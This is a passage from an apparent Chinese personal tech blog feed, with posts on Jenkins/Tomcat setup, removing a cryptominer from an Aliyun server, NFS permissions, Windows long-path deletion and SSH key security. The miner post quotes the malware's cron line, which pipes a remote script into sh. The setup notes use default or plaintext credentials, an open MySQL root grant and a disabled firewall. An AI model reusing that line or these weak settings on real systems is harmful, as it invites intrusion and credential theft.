mysql-connector-java-5.1.26-bin.jar</code></pre><p>/data/apache-tomcat-8.5.15/conf/tomcat-users.xml</p><pre><code><role rolename="manager-gui"/><user username="admin" password="admin" roles="manager-gui"/></code></pre><p>/data/apache-tomcat-8.5.15/conf/context.xml</p><pre><code><Resources cachingAllowed="true" cacheMaxSize="100000" /></code></pre><p>enable remote access for tomcat admin, webapps/manager/META-INF/context.xml</p><pre><code><Context antiResourceLocking="false" privileged="true" > <!-- <Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="192\.\d+\.\d+\.\d+|::1|0:0:0:0:0:0:0:1" /> --></Context></code></pre><p>update server.xml for mysql connection</p><pre><code><Realm className="org.apache.catalina.realm.LockOutRealm"> <Realm className="org.apache.catalina.realm.UserDatabaseRealm" resourceName="UserDatabase"/> <Realm className="org.apache.catalina.realm.JDBCRealm" driverName="org.gjt.mm.mysql.Driver" connectionURL="jdbc:mysql://localhost:3306/jenkins?autoReconnect=true&amp;user=root&amp;password=Mysql123" userTable="users" userNameCol="user_name" userCredCol="user_pass" userRoleTable="user_roles" roleNameCol="role_name"> <!-- digest.bat -a "SHA-512" -i 1000 -s 16 -k 256 -h "org.apache.catalina.realm.MessageDigestCredentialHandler" admin --> <CredentialHandler className="org.apache.catalina.realm.MessageDigestCredentialHandler" algorithm="SHA-512" iterations="1000" keyLength="256" saltLength="16" /> </Realm> </Realm></code></pre><p><em>setup jenkins authentication to delegate to servlet containler</em></p><h4 id="5-user-and-ssh-key-setup"><a href="#5-user-and-ssh-key-setup" class="headerlink" title="5, user and ssh key setup"></a>5, user and ssh key setup</h4><pre><code>groupadd jenkinsuseradd jenkins -g jenkinssudo passwd jenkinsssh-keygen -b 2048 -t rsassh-copy-id -i .ssh/id_rsa.pub [email protected] -M 99999 jenkinschage -l jenkins</code></pre><h4 id="6-jenkins-install-and-initialization"><a href="#6-jenkins-install-and-initialization" class="headerlink" title="6, jenkins install and initialization"></a>6, jenkins install and initialization</h4><p>access <a href="http://10.0.0.3:8081/jenkins/credentials/store/system/domain/_/">http://10.0.0.3:8081/jenkins/credentials/store/system/domain/_/</a> and click “Add Credentials”, choose “SSH Username with private key” and fill<br>username: jenkins<br>Private Key - Enter directly: that is jenkins master user(jenkins)’s ssh private key</p><h3 id="slave-setup"><a href="#slave-setup" class="headerlink" title="slave setup"></a>slave setup</h3><h4 id="install-jdk-and-maven"><a href="#install-jdk-and-maven" class="headerlink" title="install jdk and maven"></a>install jdk and maven</h4><p>/etc/profile</p><pre><code>export JAVA_HOME=/data/jdk1.8.0_91export PATH=/usr/local/nginx/sbin:/usr/local/php/bin:/usr/local/apache/bin:/usr/local/mariadb/bin:$JAVA_HOME/bin:$PATHexport CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar</code></pre><p>/home/jenkins/.m2/settings.xml</p><pre><code><mirror> <id>yourcompany-nexus</id> <mirrorOf>*</mirrorOf> <name>yourcompany-nexus</name> <url>http://120.76.xx.yy:8081/nexus/content/groups/public</url></mirror><mirror> <id>nexus-aliyun</id> <mirrorOf>*</mirrorOf> <name>Nexus aliyun</name> <url>http://maven.aliyun.com/nexus/content/groups/public</url></mirror></code></pre><h3 id="install-fpm"><a href="#install-fpm" class="headerlink" title="install fpm"></a>install fpm</h3><p>通过gem安装fpm库时,可能会报错</p><pre><code>gem install fpmERROR: Loading command: install (LoadError) no such file to load -- zlibERROR: While executing gem ... (NameError) uninitialized constant Gem::Commands::InstallCommand</code></pre><p>解决办法是:</p><pre><code>yum install zlib-develyum install openssl</code></pre><p>进入ruby源码文件夹,安装ruby自身提供的zlib包</p><pre><code>make clean./configure --with-openssl-dir=/usr/local/opensslcd ext/zlibruby ./extconf.rbcd ..makemake install</code></pre><p>更改gem源为国内源</p><pre><code>gem sources --add http://gems.ruby-china.org/ --remove https://rubygems.org/gem sources -l</code></pre><h3 id="build-package"><a href="#build-package" class="headerlink" title="build package"></a>build package</h3><pre><code>cat>./pre_install.sh<<EOF#!/bin/sh. /etc/profilehost=\$(hostname -s)echo "\$host"tomcat_dir=/data/tomcat7/tomcat7081ps -ef|grep \$tomcat_dir | grep -v grep |awk '{print \$2}' | xargs kill -9rm -rf \$tomcat_dir/webapps/carManage/rm -rf \$tomcat_dir/work/* \$tomcat_dir/temp/*exit 0EOFcat>./post_install.sh<<EOF#!/bin/sh##this script execute after rpm packege install. /etc/profilehost=\$(hostname -s)tomcat_dir=/data/tomcat7/tomcat7081echo "\$host"cd \$tomcat_dir/binchmod +x ./*.shchown -R tomcat:tomcat \$tomcat_dir\webappssudo -u tomcat ./startup.sh &exit 0EOFmkdir -p data/tomcat7/tomcat7081/webappsmv carManage/target/carManage.war data/tomcat7/tomcat7081/webapps//usr/local/bin/fpm -s dir -t rpm -n "carManage" -v 1.0.0.$BUILD_NUMBER --pre-install ./pre_install.sh --post-install ./post_install.sh datasudo rpm -ivh --force --nodeps `ls -rt /home/jenkins/carManage* | tail -n 1`</code></pre><h3 id="deploy-server-setting"><a href="#deploy-server-setting" class="headerlink" title="deploy server setting"></a>deploy server setting</h3><pre><code>Cmnd_Alias DEPLOY = /bin/rpm *Defaults:jenkins !requirettyjenkins ALL=NOPASSWD:DEPLOY</code></pre>]]></content>
<summary type="html"><p>Jenkins的安装配置备忘</p>
<h3 id="master-setup"><a href="#master-setup" class="headerlink" title="master setup"></a>master setup</h3><h4 id="1-install-mysql"><a href="#1-install-mysql" class="headerlink" title="1, install mysql"></a>1, install mysql</h4><pre><code>use mysql;
SET PASSWORD FOR &#39;root&#39;@&#39;%&#39;=PASSWORD(&#39;Mysql123&#39;);
grant all privileges on *.* to root@&quot;%&quot; identified by &quot;Mysql123&quot;;
mysqladmin -u root password oldpass &quot;newpass&quot;
</code></pre></summary>
<category term="技术" scheme="https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="Jenkins" scheme="https://ajasonwang.github.io/tags/Jenkins/"/>
</entry>
<entry>
<title>阿里云服务器被发现挖矿程序后的处理</title>
<link href="https://ajasonwang.github.io/2017/10/14/aliyun-server-was-hajacked-for-mining-fix/"/>
<id>https://ajasonwang.github.io/2017/10/14/aliyun-server-was-hajacked-for-mining-fix/</id>
<published>2017-10-14T08:12:58.000Z</published>
<updated>2022-11-08T12:47:15.842Z</updated>
<content type="html"><![CDATA[<p>巡检发现阿里云一台ECS的CPU占用过高,而该进程是 /tmp 目录下,且进程名称似乎是自动生成的。初步判断被黑后紧急Google发现有类似案例发生在aws上面。这次操作忘记保留现场了,所以简要记录如下:</p><span id="more"></span><p>案例:</p><p>I found the solution to removing minerd. I was lucky enough to find the actual script that was used to infect my server. All I had to do was remove the elements placed by this script. On monkeyoto’s suggestion, I blocked all communication with the mining pool server.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">iptables -A INPUT -s xmr.crypto-pool.fr -j DROP</span><br><span class="line">iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP</span><br></pre></td></tr></table></figure><p>Removed the cron */15 * * * * curl -fsSL <a href="https://r.chanstring.com/api/report?pm=0706">https://r.chanstring.com/api/report?pm=0706</a> | sh from /var/spool/cron/root and /var/spool/cron/crontabs/root<br>Removed the directory /opt/yam<br>Removed /root/.ssh/KHK75NEOiq<br>Deleted the files /opt/minerd and /opt/KHK75NEOiq33<br>Stopped the minerd process - pkill minerd.<br>Stopped lady - service lady stop.<br>I ran ps -eo pcpu,args –sort=-%cpu | head, top -bn2 |sed -n ‘7,25’p and ps aux | grep minerd after that and the malware was nowhere to be seen.</p><p>I still need to figure out how it gained access into the system but I was able to disable it this way.</p><p>具体清理步骤如下:</p><h4 id="1,踢人"><a href="#1,踢人" class="headerlink" title="1,踢人"></a>1,踢人</h4><p>命令格式:pkill -kill -t tty<br>解释:<br>pkill -kill -t 踢人命令<br>tty 所踢用户的tty<br>比如: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pkill -kill -t pts/2</span><br></pre></td></tr></table></figure><h4 id="2-大扫除"><a href="#2-大扫除" class="headerlink" title="2, 大扫除"></a>2, 大扫除</h4><p>结果发现被自动拉起,这时候马上查看 crontab 果然有诡异设置,尝试删除crontab中的条目,发现无法保存,报错类似:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">root@X [/tmp]# crontab -e</span><br><span class="line">crontab: installing new crontab</span><br><span class="line">crontab: error renaming /var/spool/cron/tmp.XXXXDSGEDV to /var/spool/cron/root</span><br><span class="line">rename: Operation not permitted</span><br><span class="line">crontab: edits left in /tmp/crontab.xO3YcB</span><br></pre></td></tr></table></figure><p>解决办法:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">lsattr /var/spool/cron/root</span><br><span class="line">chattr -aui /var/spool/cron/root</span><br></pre></td></tr></table></figure><h4 id="3,改密码并加强安全设置"><a href="#3,改密码并加强安全设置" class="headerlink" title="3,改密码并加强安全设置"></a>3,改密码并加强安全设置</h4><p>review sudo user, review /etc/ssh/sshd_config setting</p>]]></content>
<summary type="html"><p>巡检发现阿里云一台ECS的CPU占用过高,而该进程是 /tmp 目录下,且进程名称似乎是自动生成的。初步判断被黑后紧急Google发现有类似案例发生在aws上面。这次操作忘记保留现场了,所以简要记录如下:</p></summary>
<category term="技术" scheme="https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="安全" scheme="https://ajasonwang.github.io/tags/%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>nfs权限问题</title>
<link href="https://ajasonwang.github.io/2016/10/26/nfs-permission/"/>
<id>https://ajasonwang.github.io/2016/10/26/nfs-permission/</id>
<published>2016-10-26T03:44:38.000Z</published>
<updated>2022-11-08T12:47:15.885Z</updated>
<content type="html"><![CDATA[<h4 id="配置服务器"><a href="#配置服务器" class="headerlink" title="配置服务器"></a>配置服务器</h4><h5 id="创建需要共享的文件夹"><a href="#创建需要共享的文件夹" class="headerlink" title="创建需要共享的文件夹"></a>创建需要共享的文件夹</h5><p>mkdir doc_share</p><h5 id="编辑exports文件"><a href="#编辑exports文件" class="headerlink" title="编辑exports文件"></a>编辑exports文件</h5><p>vim /etc/exports<br>/doc_share 192.168.2.131/255.255.255.0(rw,sync)</p><h5 id="重启相关服务"><a href="#重启相关服务" class="headerlink" title="重启相关服务"></a>重启相关服务</h5><p>/etc/init.d/portmap restart<br>/etc/init.d/nfs restart</p><span id="more"></span><h5 id="设置自启动"><a href="#设置自启动" class="headerlink" title="设置自启动"></a>设置自启动</h5><p>chkconfig nfs on<br>chkconfig portmap on</p><h5 id="安全设置"><a href="#安全设置" class="headerlink" title="安全设置"></a>安全设置</h5><p>/etc/init.d/iptables stop<br>chkconfig iptables off<br>system-config-selinux</p><h5 id="检查配置"><a href="#检查配置" class="headerlink" title="检查配置"></a>检查配置</h5><p>[root@rac1 /]# exportfs -rv<br>exporting 192.168.2.131/255.255.255.0:/doc_share</p><h4 id="试着在本机看能否加载"><a href="#试着在本机看能否加载" class="headerlink" title="试着在本机看能否加载"></a>试着在本机看能否加载</h4><p>mount 192.168.2.131:/doc_share /mnt</p><p>[root@rac1 doc_share]# echo aa>aa.txt<br>[root@rac1 doc_share]# ls<br>aa.txt<br>[root@rac1 /]# cd /mnt<br>[root@rac1 mnt]# ls<br>aa.txt</p><h4 id="客户端测试"><a href="#客户端测试" class="headerlink" title="客户端测试"></a>客户端测试</h4><h5 id="手工mount"><a href="#手工mount" class="headerlink" title="手工mount:"></a>手工mount:</h5><p>mount -o nolock 192.168.2.131:/doc_share /mnt<br>这个时候可以看到在节点1上内容了.<br>[root@rac2 mnt]# cd /mnt<br>[root@rac2 mnt]# ls<br>aa.txt</p><h5 id="自动mount"><a href="#自动mount" class="headerlink" title="自动mount:"></a>自动mount:</h5><p>编辑fstab文件,实现开机自动挂载<br>mount -t nfs IP:/目录 挂载到的目录<br>(此为临时挂载)<br>如:mount -t nfs 192.168.0.9:/doc /doc<br>vim /etc/fstab 添加如下内容<br>192.168.2.131:/doc_share /mnt nfs defaults 0 0</p><h4 id="相关的一些命令"><a href="#相关的一些命令" class="headerlink" title="相关的一些命令:"></a>相关的一些命令:</h4><h5 id="showmout命令对于NFS的操作和查错有很大的帮助"><a href="#showmout命令对于NFS的操作和查错有很大的帮助" class="headerlink" title="showmout命令对于NFS的操作和查错有很大的帮助."></a>showmout命令对于NFS的操作和查错有很大的帮助.</h5><p>showmout </p><p>-a:这个参数是一般在NFS ERVER上使用,是用来显示已经mount上本机nfs目录的cline机器.<br>-e:显示指定的NFS SERVER上export出来的目录.<br>例如:<br>showmount -e 192.168.0.30 </p><p>Export list for localhost:<br>/tmp *<br>/home/linux *.linux.org </p><p>/home/public (everyone)<br>/home/test 192.168.0.100</p><h5 id="exportfs命令"><a href="#exportfs命令" class="headerlink" title="exportfs命令:"></a>exportfs命令:</h5><p>如果我们在启动了NFS之后又修改了/etc/exports,是不是还要重新启动nfs呢?这个时候我们就可以用exportfs命令来使改动立刻生效,该命令格式如下:<br>exportfs<br>[-aruv]<br>-a :全部mount或者unmount /etc/exports中的内容<br>-r :重新mount /etc/exports中分享出来的目录<br>-u :umount 目录<br>-v :在 export 的时候,将详细的信息输出到屏幕上.</p><p>具体例子:</p><p>[root @test root]# exportfs -rv<br>exporting<br>192.168.0.100:/home/test<br>exporting 192.168.0.*:/home/public<br>exporting<br>*.the9.com:/home/linux<br>exporting *:/home/public<br>exporting *:/tmp </p><p>reexporting 192.168.0.100:/home/test to kernel</p><p>exportfs -au 全部都卸载了</p><h4 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h4><p>今天在机器上配置NFS文件系统,在/etc/exports中加入以下信息:<code>/testfs 10.0.0.0/8(rw)</code><br>重启NFS服务以后,在客户机通过<code>mount -o rw -t nfs 10.214.54.29:/testfs /rd1</code>命令将网络文件mount到本地。执行完成之后,目录是可以访问了,但无法写入。感觉有点奇怪,明明在命令中指定可以写入了。于是到网上搜索资料,发现exports目录权限中,有这么一个参数no_root_squash。其作用是:登入 NFS 主机使用分享目录的使用者,如果是 root 的话,那么对于这个分享的目录来说,他就具有root的权限!。默认情况使用的是相反参数root_squash:在登入 NFS 主机使用分享之目录的使用者如果是 root,那么这个使用者的权限将被压缩成为匿名使用者,通常他的UID与GID都会变成 nobody 那个身份。<br>因为我的客户端是使用root登录的,自然权限被压缩为nobody了,难怪无法写入。将配置信息改为:<code>/testfs 10.0.0.0/8(rw,no_root_squash)</code><br>据说有点不安全,但问题是解决了。 </p><p>Exports文件中可以设定的参数主要有以下这些: </p><p>Ro 该主机对该共享目录有只读权限 </p><p>Rw 该主机对该共享目录有读写权限 </p><p>Root_squash 客户机用root用户访问该共享文件夹时,将root用户映射成匿名用户 </p><p>No_root_squash 客户机用root访问该共享文件夹时,不映射root用户 </p><p>All_squash 客户机上的任何用户访问该共享目录时都映射成匿名用户 </p><p>Anonuid 将客户机上的用户映射成指定的本地用户ID的用户 </p><p>Anongid 将客户机上的用户映射成属于指定的本地用户组ID </p><p>Sync 资料同步写入到内存与硬盘中 </p><p>Async 资料会先暂存于内存中,而非直接写入硬盘 </p><p>Insecure 允许从这台机器过来的非授权访问 </p><p>例如可以编辑/etc/exports为: </p><p><code>/ user01(rw) user02(rw,no_root_squash)</code> 表示共享服务器上的根目录(/)只有user01和user02两台主机可以访问,且有读写权限;user01主机用root用户身份访问时,将客户机的root用户映射成服务器上的匿名用户(root_squash,该参数为缺省参数),相当于在服务器使用nobody用户访问目录;user02主机用root用户身份访问该共享目录时,不映射root用户(no_root_squash),即相当于在服务器上用root身份访问该目录 </p><p><code>/root/share/ 192.168.1.2(rw,insecure,sync,all_squash)</code> 表示共享服务器上的/root/share/目录只有192.168.1.2主机可以访问,且有读写权限;此主机用任何身份访问时,将客户机的用户都映射成服务器上的匿名用户(all_squash),相当于在服务器上用nobody用户访问该目录(若客户机要在该共享目录上保存文件(即写操作),则服务器上的nobody用户对该目录必须有写的权限) </p><p><code>/home/ylw/ *.test.com (rw,insecure,sync,all_squash)</code> 表示共享/home/ylw/目录,*.test.com域中所有的主机都可以访问该目录,且有读写权限 </p><p><code>/home/share/ .test.com (ro,sync,all_squash,anonuid=zh3,anongid=wa4)</code> 表示共享目录/home/share/,*.test.com域中的所有主机都可以访问,但只有只读的权限,所有用户都映射成服务器上的uid为zh3、gid为wa4的用户 </p><p>设定好后可以使用以下命令启动NFS: <code>service nfs restart</code></p>]]></content>
<summary type="html"><h4 id="配置服务器"><a href="#配置服务器" class="headerlink" title="配置服务器"></a>配置服务器</h4><h5 id="创建需要共享的文件夹"><a href="#创建需要共享的文件夹" class="headerlink" title="创建需要共享的文件夹"></a>创建需要共享的文件夹</h5><p>mkdir doc_share</p>
<h5 id="编辑exports文件"><a href="#编辑exports文件" class="headerlink" title="编辑exports文件"></a>编辑exports文件</h5><p>vim /etc/exports<br>/doc_share 192.168.2.131/255.255.255.0(rw,sync)</p>
<h5 id="重启相关服务"><a href="#重启相关服务" class="headerlink" title="重启相关服务"></a>重启相关服务</h5><p>/etc/init.d/portmap restart<br>/etc/init.d/nfs restart</p></summary>
<category term="技术" scheme="https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="Linux" scheme="https://ajasonwang.github.io/tags/Linux/"/>
</entry>
<entry>
<title>Windows中删除路径太长目录及文件</title>
<link href="https://ajasonwang.github.io/2016/09/30/delete-long-path-in-windows/"/>
<id>https://ajasonwang.github.io/2016/09/30/delete-long-path-in-windows/</id>
<published>2016-09-30T08:10:07.000Z</published>
<updated>2022-11-08T12:47:15.846Z</updated>
<content type="html"><![CDATA[<p>用node的话,经常搞出这种路径超过Windows限制的情况而导致目录删不掉,网上说下面这个命令可以删除</p><p>在cmd命令行窗口中输入 </p><pre><code>robocopy empty_dir will_delete_dir /purge</code></pre><p>empty_dir 新建的空白目录<br>will_delete_dir 要删除的目录<br>注意中间的空格</p><p>自己搞了个powershell脚本,先把路径名字改短然后再删,也很方便</p><span id="more"></span><pre><code>$test='C:\test'@'删除Windows下面的目录时,有时候会提示路经过长无法删除,本脚本可以递归对目录下面的子目录和文件改名字让它变短本脚本可以多次运行'@function renameFolder($global:path){ $items=@(Get-ChildItem -Path $global:path) $global:newpath=@() foreach($item in $items){ $global:num=$(Get-Random -minimum 100 -maximum 999) if($item.PSIsContainer -eq $true){ Rename-Item $item.FullName $num -ErrorAction SilentlyContinue $global:newpath+=Join-Path $global:path $num }else{ $temp = Join-Path $global:path $item Rename-Item $temp $global:num -ErrorAction SilentlyContinue } } foreach($new in $global:newpath){ if($new.PSIsContainer -eq $true){ renameFolder $new } }}renameFolder $test</code></pre>]]></content>
<summary type="html"><p>用node的话,经常搞出这种路径超过Windows限制的情况而导致目录删不掉,网上说下面这个命令可以删除</p>
<p>在cmd命令行窗口中输入 </p>
<pre><code>robocopy empty_dir will_delete_dir /purge
</code></pre>
<p>empty_dir 新建的空白目录<br>will_delete_dir 要删除的目录<br>注意中间的空格</p>
<p>自己搞了个powershell脚本,先把路径名字改短然后再删,也很方便</p></summary>
<category term="技术" scheme="https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="Windows" scheme="https://ajasonwang.github.io/tags/Windows/"/>
</entry>
<entry>
<title>增加ssh无密码信任连接的安全性</title>
<link href="https://ajasonwang.github.io/2016/07/01/secure-ssh-trust-connection/"/>
<id>https://ajasonwang.github.io/2016/07/01/secure-ssh-trust-connection/</id>
<published>2016-07-01T02:13:07.000Z</published>
<updated>2022-11-08T12:47:15.890Z</updated>
<content type="html"><![CDATA[<h3 id="一般情况这样玩"><a href="#一般情况这样玩" class="headerlink" title="一般情况这样玩"></a>一般情况这样玩</h3><p>为了方便系统管理或者服务器运维自动化,我们通常要在服务器间做ssh无密码信任连接。</p><p>在服务器端创建密钥</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -t dsa </span><br></pre></td></tr></table></figure><p>一路回车,在~/.ssh下生成的id_rsa是私钥,id_rsa.pub是公钥。复制公钥到目标服务器,然后就可以无密码登录了:</p><p>自动化拷贝公钥到多台目标机器</p><span id="more"></span> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">#!/bin/sh</span><br><span class="line">. /etc/init.d/functions</span><br><span class="line">for ip in 77 185 197 208</span><br><span class="line">do</span><br><span class="line"> expect fenfa_sshkey.exp ~/.ssh/id_dsa.pub 10.86.17.$ip</span><br><span class="line"> if [ $? -eq 0 ];then</span><br><span class="line"> echo "$ip" /bin/true</span><br><span class="line"> else</span><br><span class="line"> echo "$ip" /bin/false</span><br><span class="line"> fi</span><br><span class="line">done</span><br></pre></td></tr></table></figure><p>expect脚本</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/expect</span><br><span class="line">set timeout 10</span><br><span class="line"></span><br><span class="line">if { $argc != 2 } {</span><br><span class="line"> send_user "usage: expect fenfa_sshkey.exp file host\n"</span><br><span class="line"> exit</span><br><span class="line">}</span><br><span class="line">#</span><br><span class="line">set file [lindex $argv 0]</span><br><span class="line">set host [lindex $argv 1]</span><br><span class="line">set user sa</span><br><span class="line">set psw yourpassword</span><br><span class="line"></span><br><span class="line">spawn ssh-copy-id -i $file -p 22 $user@$host</span><br><span class="line"></span><br><span class="line">expect {</span><br><span class="line"> "(yes/no)?" {</span><br><span class="line"> send "yes\n"</span><br><span class="line"> expect "*password:*" {</span><br><span class="line"> send $psw</span><br><span class="line"> send "\r"</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> "*password:*" {</span><br><span class="line"> send $psw</span><br><span class="line"> send "\r"</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">expect eof</span><br><span class="line"></span><br><span class="line">exit -onexit {</span><br><span class="line"> send_user "$user say good bye to you!\n"</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这种方式很方便,但是如果操作主机上没有口令短语的id_rsa文件被别人获得,你的服务器基本就是人家的了。所以使用口令短语对加强安全性来说是有必要的。我们把目标主机的 ~/.ssh/authorized_keys 移走,在操作主机上重新生成一对儿密钥,再ssh-copy-id到目标主机,ssh -p 22 sa@ip 连接的时候必须输入正确的口令短语才能登录目标主机。</p><p>在生产环境里,已经部署了不带口令短语的密钥,必须删除目标主机原有的公钥(保存在目标主机的~/.ssh/authorized_keys),删除操作主机旧的密钥并重新生成一套带口令的,再ssh-copy-id到目标主机。</p><h3 id="重点内容"><a href="#重点内容" class="headerlink" title="重点内容"></a>重点内容</h3><p>现在又一个问题来了,加了口令短语,私钥安全了,但是登录麻烦了,自动化运维也不可能了。怎么办?<br>我们可以用ssh-agent(ssh代理守护进程)。</p><p>启动代理守护进程:</p><pre><code>eval `ssh-agent`</code></pre><p>将私钥添加到代理守护进程:</p><pre><code>ssh-add</code></pre><p>列出代理守护进程保存的私钥:</p><pre><code>ssh-add -l</code></pre><p>删除代理守护进程保存的私钥:</p><pre><code>ssh-add -D</code></pre><h3 id="一个例子说说eval"><a href="#一个例子说说eval" class="headerlink" title="一个例子说说eval"></a>一个例子说说eval</h3><p>这个bash内部指令非常有意思,它是将后面的 `` 符号(键盘左上角跟~符一起的那个,不是单引号哈!)内的指令执行之后,把输出结果再执行一遍,比如上文的 </p><pre><code>eval `ssh-agent`</code></pre><p>先看看 ssh-agent 单独执行结果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[root@centos7-cn ~]# ssh-agent</span><br><span class="line">SSH_AUTH_SOCK=/tmp/ssh-CDZB3GtAT0MT/agent.11758; export SSH_AUTH_SOCK;</span><br><span class="line">SSH_AGENT_PID=11759; export SSH_AGENT_PID;</span><br><span class="line">echo Agent pid 11759;</span><br><span class="line">[root@centos7-cn ~]#</span><br></pre></td></tr></table></figure><pre><code>eval `ssh-agent` </code></pre><p>就是将ssh-agent的输出结果再执行一次,相当于:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@centos7-cn ~]# SSH_AUTH_SOCK=/tmp/ssh-CDZB3GtAT0MT/agent.11758; export SSH_AUTH_SOCK;</span><br><span class="line">[root@centos7-cn ~]# SSH_AGENT_PID=11759; export SSH_AGENT_PID;</span><br><span class="line">[root@centos7-cn ~]# echo Agent pid 11759;</span><br></pre></td></tr></table></figure><p>所以 </p><pre><code>eval `ssh-agent`</code></pre><p>的执行结果就是:</p><p>后台运行ssh-agent,并且在当前会话输出两个环境变量SSH_AUTH_SOCK、SSH_AGENT_PID,然后再显示 Agent pid 11759 。</p><p>我们试一下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[root@centos7-cn ~]# eval `ssh-agent`</span><br><span class="line">Agent pid 11877</span><br><span class="line">[root@centos7-cn ~]# echo $SSH_AUTH_SOCK</span><br><span class="line">/tmp/ssh-2Aq37RrIkeOH/agent.11876</span><br><span class="line">[root@centos7-cn ~]# echo $SSH_AGENT_PID</span><br><span class="line">11877</span><br><span class="line">[root@centos7-cn ~]# </span><br></pre></td></tr></table></figure><p>注意,这里得到的Pid跟单独执行的ssh-agent不同了,pgrep ssh-agent 会看到两个进程号:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[root@centos7-cn ~]# pgrep ssh-agent</span><br><span class="line">11759</span><br><span class="line">11877</span><br><span class="line">[root@centos7-cn ~]#</span><br></pre></td></tr></table></figure><p>还要注意,退出当前会话并不会杀死ssh-agent进程。手工杀死进程除了上述的 pgrep 指令,还有ssh-agent -k 可以。试试:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[root@centos7-cn ~]# ssh-agent</span><br><span class="line">SSH_AUTH_SOCK=/tmp/ssh-gm8UdqqlTXeb/agent.14140; export SSH_AUTH_SOCK;</span><br><span class="line">SSH_AGENT_PID=14141; export SSH_AGENT_PID;</span><br><span class="line">echo Agent pid 14141;</span><br><span class="line">[root@centos7-cn ~]#</span><br><span class="line">[root@centos7-cn ~]# ssh-agent -k</span><br><span class="line">SSH_AGENT_PID not set, cannot kill agent</span><br></pre></td></tr></table></figure><p>找不到SSH_AGENT_PID环境变量,这个指令选项无效。那么手工输出一下吧:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">[root@centos7-cn ~]#</span><br><span class="line">[root@centos7-cn ~]# SSH_AGENT_PID=14141; export SSH_AGENT_PID;</span><br><span class="line">[root@centos7-cn ~]#</span><br><span class="line">[root@centos7-cn ~]# ssh-agent -k</span><br><span class="line">unset SSH_AUTH_SOCK;</span><br><span class="line">unset SSH_AGENT_PID;</span><br><span class="line">echo Agent pid 14141 killed;</span><br><span class="line">[root@centos7-cn ~]#</span><br></pre></td></tr></table></figure><p>这回可以了。所以 ssh-agent 命令最好还是用 </p><pre><code>eval `ssh-agent` </code></pre><p>执行更方便,但是要记住不能重复执行,ssh-agent -k 只负责最后一个进程,道理呢?参考ssh-agent -k指令输出,自己琢磨一下吧。</p><p><a href="http://www.cnblogs.com/panblack/p/Secure_ssh_trust_connection.html?utm_source=tuicool&utm_medium=referral">参考链接</a></p>]]></content>
<summary type="html"><h3 id="一般情况这样玩"><a href="#一般情况这样玩" class="headerlink" title="一般情况这样玩"></a>一般情况这样玩</h3><p>为了方便系统管理或者服务器运维自动化,我们通常要在服务器间做ssh无密码信任连接。</p>
<p>在服务器端创建密钥</p>
